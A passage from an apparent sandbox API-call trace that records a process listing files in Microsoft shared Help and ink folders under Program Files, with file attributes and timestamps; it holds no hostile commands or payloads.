Size=0x10000) returned 0x6165c8 [0244.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.040] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.040] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.040] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.040] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.040] GetProcessHeap () returned 0x550000 [0244.040] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.040] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0244.040] GetProcessHeap () returned 0x550000 [0244.040] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.088] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.088] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.088] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.088] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.089] GetProcessHeap () returned 0x550000 [0244.089] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.089] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0244.089] GetProcessHeap () returned 0x550000 [0244.089] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.092] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.092] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.092] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.092] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.092] GetProcessHeap () returned 0x550000 [0244.092] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.092] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0244.093] GetProcessHeap () returned 0x550000 [0244.093] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.130] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.130] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.130] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.130] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.130] GetProcessHeap () returned 0x550000 [0244.130] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.130] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0244.131] GetProcessHeap () returned 0x550000 [0244.131] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.131] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.131] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.131] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.131] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.131] GetProcessHeap () returned 0x550000 [0244.131] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.131] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0244.132] GetProcessHeap () returned 0x550000 [0244.132] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.132] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.132] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.132] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.132] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.132] GetProcessHeap () returned 0x550000 [0244.132] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.132] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0244.133] GetProcessHeap () returned 0x550000 [0244.133] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.133] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.133] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.133] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.133] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.133] GetProcessHeap () returned 0x550000 [0244.133] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.133] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxC", cAlternateFileName="")) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60ce1c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxT", cAlternateFileName="")) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x6cee, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxRuntime.HxS", cAlternateFileName="HXRUNT~1.HXS")) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keywords.HxK", cAlternateFileName="")) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="NAMEDU~1.HXK")) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="NAMEDU~1.HXK")) returned 0 [0244.134] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.134] GetProcessHeap () returned 0x550000 [0244.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0244.134] GetProcessHeap () returned 0x550000 [0244.134] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 